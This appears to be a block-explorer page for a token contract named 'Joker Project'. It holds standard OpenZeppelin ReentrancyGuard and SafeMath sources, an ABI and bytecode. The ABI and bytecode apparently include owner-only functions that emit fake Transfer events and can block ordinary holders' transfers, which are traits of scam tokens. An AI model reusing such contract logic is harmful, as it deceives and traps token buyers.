// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.20;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

File 9 of 9: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialLPAddress","type":"address"},{"internalType":"address","name":"distributor_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_liquidityliquidity0x0x0publicopenedAtTimestampopenedAtTimestamptxLimitExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"executeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"taxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000055620002f560201b60201c565b600a620000639190620006c9565b633b9aca0062000074919062000719565b6080908152506200008a620002f560201b60201c565b600a620000989190620006c9565b633b9aca00620000a9919062000719565b60a090815250348015620000bb575f80fd5b50604051620036c4380380620036c48339818101604052810190620000e19190620007c8565b6040518060400160405280600d81526020017f4a6f6b65722050726f6a656374000000000000000000000000000000000000008152506040518060400160405280600581526020017f4a4f4b45520000000000000000000000000000000000000000000000000000008152508280805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001ae620001a2620002fd60201b60201c565b6200030460201b60201c565b508260099081620001c0919062000a68565b5081600a9081620001d2919062000a68565b50600160045f6101000a81548160ff021916908315150217905550600160035f62000202620002fd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002a882608051620003c760201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000c30565b5f6009905090565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000438576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200042f9062000baa565b60405180910390fd5b6200044b5f83836200052d60201b60201c565b8060085f8282546200045e919062000bca565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200050e919062000c15565b60405180910390a3620005295f83836200053260201b60201c565b5050565b505050565b505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005c15780860481111562000599576200059862000537565b5b6001851615620005a95780820291505b8081029050620005b98562000564565b945062000579565b94509492505050565b5f82620005db5760019050620006ad565b81620005ea575f9050620006ad565b81600181146200060357600281146200060e5762000644565b6001915050620006ad565b60ff84111562000623576200062262000537565b5b8360020a9150848211156200063d576200063c62000537565b5b50620006ad565b5060208310610133831016604e8410600b84101617156200067e5782820a90508381111562000678576200067762000537565b5b620006ad565b6200068d848484600162000570565b92509050818404811115620006a757620006a662000537565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006d582620006b4565b9150620006e283620006bd565b9250620007117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005ca565b905092915050565b5f6200072582620006b4565b91506200073283620006b4565b92508282026200074281620006b4565b915082820484148315176200075c576200075b62000537565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007928262000767565b9050919050565b620007a48162000786565b8114620007af575f80fd5b50565b5f81519050620007c28162000799565b92915050565b5f8060408385031215620007e157620007e062000763565b5b5f620007f085828601620007b2565b92505060206200080385828601620007b2565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200088957607f821691505b6020821081036200089f576200089e62000844565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008c6565b6200090f8683620008c6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620009506200094a6200094484620006b4565b62000927565b620006b4565b9050919050565b5f819050919050565b6200096b8362000930565b620009836200097a8262000957565b848454620008d2565b825550505050565b5f90565b620009996200098b565b620009a681848462000960565b505050565b5b81811015620009cd57620009c15f826200098f565b600181019050620009ac565b5050565b601f82111562000a1c57620009e681620008a5565b620009f184620008b7565b8101602085101562000a01578190505b62000a1962000a1085620008b7565b830182620009ab565b50505b505050565b5f82821c905092915050565b5f62000a3e5f198460080262000a21565b1980831691505092915050565b5f62000a58838362000a2d565b9150826002028217905092915050565b62000a73826200080d565b67ffffffffffffffff81111562000a8f5762000a8e62000817565b5b62000a9b825462000871565b62000aa8828285620009d1565b5f60209050601f83116001811462000ade575f841562000ac9578287015190505b62000ad5858262000a4b565b86555062000b44565b601f19841662000aee86620008a5565b5f5b8281101562000b175784890151825560018201915060208501945060208101905062000af0565b8683101562000b37578489015162000b33601f89168262000a2d565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000b92601f8362000b4c565b915062000b9f8262000b5c565b602082019050919050565b5f6020820190508181035f83015262000bc38162000b84565b9050919050565b5f62000bd682620006b4565b915062000be383620006b4565b925082820190508082111562000bfe5762000bfd62000537565b5b92915050565b62000c0f81620006b4565b82525050565b5f60208201905062000c2a5f83018462000c04565b92915050565b60805160a05160c05160e05161010051612a4f62000c755f395f610c7301525f81816107980152610d2e01525f61092b01525f610d9d01525f610a9d0152612a4f5ff3fe608060405234801561000f575f80fd5b5060043610610204575f3560e01c806361d42a2411610118578063a457c2d7116100ab578063d5abeb011161007a578063d5abeb01146105f6578063dd62ed3e14610614578063e89c4a6914610644578063ebad8f1614610660578063f2fde38b1461066a57610204565b8063a457c2d71461055c578063a9059cbb1461058c578063b7f4e899146105bc578063c2b7bbb6146105da57610204565b80638d981e36116100e75780638d981e36146104e45780638da5cb5b1461050257806395d89b41146105205780639c9b4cdb1461053e57610204565b806361d42a241461044a57806370a082311461047a578063715018a6146104aa5780637c70f3bf146104b457610204565b806323b872dd1161019b578063395093511161016a57806339509351146103a457806342a5880c146103d4578063486d910f146103f257806349bd5a5e1461040e5780634ed9428e1461042c57610204565b806323b872dd1461031c57806326ededb81461034c5780632d3e69ea14610368578063313ce5671461038657610204565b806312fa6feb116101d757806312fa6feb146102a457806318160ddd146102c257806319e99550146102e057806321f83c43146102fe57610204565b80630253b1fd1461020857806306fdde03146102385780630754617214610256578063095ea7b314610274575b5f80fd5b610222600480360381019061021d9190611cb0565b610686565b60405161022f9190611cf5565b60405180910390f35b6102406106a3565b60405161024d9190611d98565b60405180910390f35b61025e610733565b60405161026b9190611dc7565b60405180910390f35b61028e60048036038101906102899190611e13565b610758565b60405161029b9190611cf5565b60405180910390f35b6102ac61077a565b6040516102b99190611cf5565b60405180910390f35b6102ca61078c565b6040516102d79190611e60565b60405180910390f35b6102e8610795565b6040516102f59190611e60565b60405180910390f35b6103066107c7565b6040516103139190611e60565b60405180910390f35b61033660048036038101906103319190611e79565b6107cd565b6040516103439190611cf5565b60405180910390f35b61036660048036038101906103619190611f2a565b6107fb565b005b6103706108d6565b60405161037d9190611cf5565b60405180910390f35b61038e6108eb565b60405161039b9190611fa2565b60405180910390f35b6103be60048036038101906103b99190611e13565b6108f3565b6040516103cb9190611cf5565b60405180910390f35b6103dc610929565b6040516103e99190611e60565b60405180910390f35b61040c60048036038101906104079190611ff6565b61094d565b005b610416610a76565b6040516104239190611dc7565b60405180910390f35b610434610a9b565b6040516104419190611e60565b60405180910390f35b610464600480360381019061045f9190611cb0565b610abf565b6040516104719190611cf5565b60405180910390f35b610494600480360381019061048f9190611cb0565b610b11565b6040516104a19190611e60565b60405180910390f35b6104b2610b57565b005b6104ce60048036038101906104c9919061206d565b610b6a565b6040516104db9190611cf5565b60405180910390f35b6104ec610b94565b6040516104f99190611dc7565b60405180910390f35b61050a610bb9565b6040516105179190611dc7565b60405180910390f35b610528610be1565b6040516105359190611d98565b60405180910390f35b610546610c71565b6040516105539190611dc7565b60405180910390f35b61057660048036038101906105719190611e13565b610c95565b6040516105839190611cf5565b60405180910390f35b6105a660048036038101906105a19190611e13565b610d0a565b6040516105b39190611cf5565b60405180910390f35b6105c4610d2c565b6040516105d19190611e60565b60405180910390f35b6105f460048036038101906105ef9190611cb0565b610d50565b005b6105fe610d9b565b60405161060b9190611e60565b60405180910390f35b61062e600480360381019061062991906120ab565b610dbf565b60405161063b9190611e60565b60405180910390f35b61065e60048036038101906106599190612113565b610e41565b005b610668610eea565b005b610684600480360381019061067f9190611cb0565b610f47565b005b6002602052805f5260405f205f915054906101000a900460ff1681565b6060600980546106b29061219d565b80601f01602080910402602001604051908101604052809291908181526020018280546106de9061219d565b80156107295780601f1061070057610100808354040283529160200191610729565b820191905f5260205f20905b81548152906001019060200180831161070c57829003601f168201915b5050505050905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610762610fc9565b905061076f818585610fd0565b600191505092915050565b600f5f9054906101000a900460ff1681565b5f600854905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000436107c291906121fa565b905090565b61070881565b5f806107d7610fc9565b90506107e4858285611193565b6107ef85858561121e565b60019150509392505050565b61080361187e565b5f5b838390508110156108d0578383828181106108235761082261222d565b5b90506020020160208101906108389190611cb0565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b59190611e60565b60405180910390a380806108c89061225a565b915050610805565b50505050565b5f60045f9054906101000a900460ff16905090565b5f6009905090565b5f806108fd610fc9565b905061091e81858561090f8589610dbf565b61091991906122a1565b610fd0565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61097933600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107cd565b6109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af9061231e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109f392919061233c565b6020604051808303815f875af1158015610a0f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a339190612377565b610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906123ec565b60405180910390fd5b5050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b5f61187e565b610b685f6118fc565b565b600e602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610bf09061219d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1c9061219d565b8015610c675780601f10610c3e57610100808354040283529160200191610c67565b820191905f5260205f20905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f80610c9f610fc9565b90505f610cac8286610dbf565b905083811015610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce89061247a565b60405180910390fd5b610cfe8286868403610fd0565b60019250505092915050565b5f80610d14610fc9565b9050610d2181858561121e565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610d5861187e565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e4961187e565b5f5b83839050811015610ee4578160025f868685818110610e6d57610e6c61222d565b5b9050602002016020810190610e829190611cb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610edc9061225a565b915050610e4b565b50505050565b610ef261187e565b6001151560045f9054906101000a900460ff16151503610f2a575f60045f6101000a81548160ff021916908315150217905550610f45565b600160045f6101000a81548160ff0219169083151502179055505b565b610f4f61187e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb490612508565b60405180910390fd5b610fc6816118fc565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103590612596565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a390612624565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111869190611e60565b60405180910390a3505050565b5f61119e8484610dbf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611218578181101561120a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112019061268c565b60405180910390fd5b6112178484848403610fd0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361128c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112839061271a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f1906127a8565b60405180910390fd5b5f811161133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612836565b60405180910390fd5b4360075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061138883826119bf565b506001151560045f9054906101000a900460ff16151514806113dc57506113ad610bb9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061141957506113ea610bb9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118235760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114bb575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611671576114cb8383836119eb565b611535816040518060600160405280602681526020016129f46026913960055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f09092919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115c68160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a5290919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116649190611e60565b60405180910390a361181e565b61167c838383611aaf565b6116e6816040518060600160405280602681526020016129f46026913960055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f09092919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117778160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a5290919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118159190611e60565b60405180910390a35b611879565b6001151560045f9054906101000a900460ff16151514611878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186f90612877565b60405180910390fd5b5b505050565b611886610fc9565b73ffffffffffffffffffffffffffffffffffffffff166118a4611ab4565b73ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906128df565b60405180910390fd5b565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565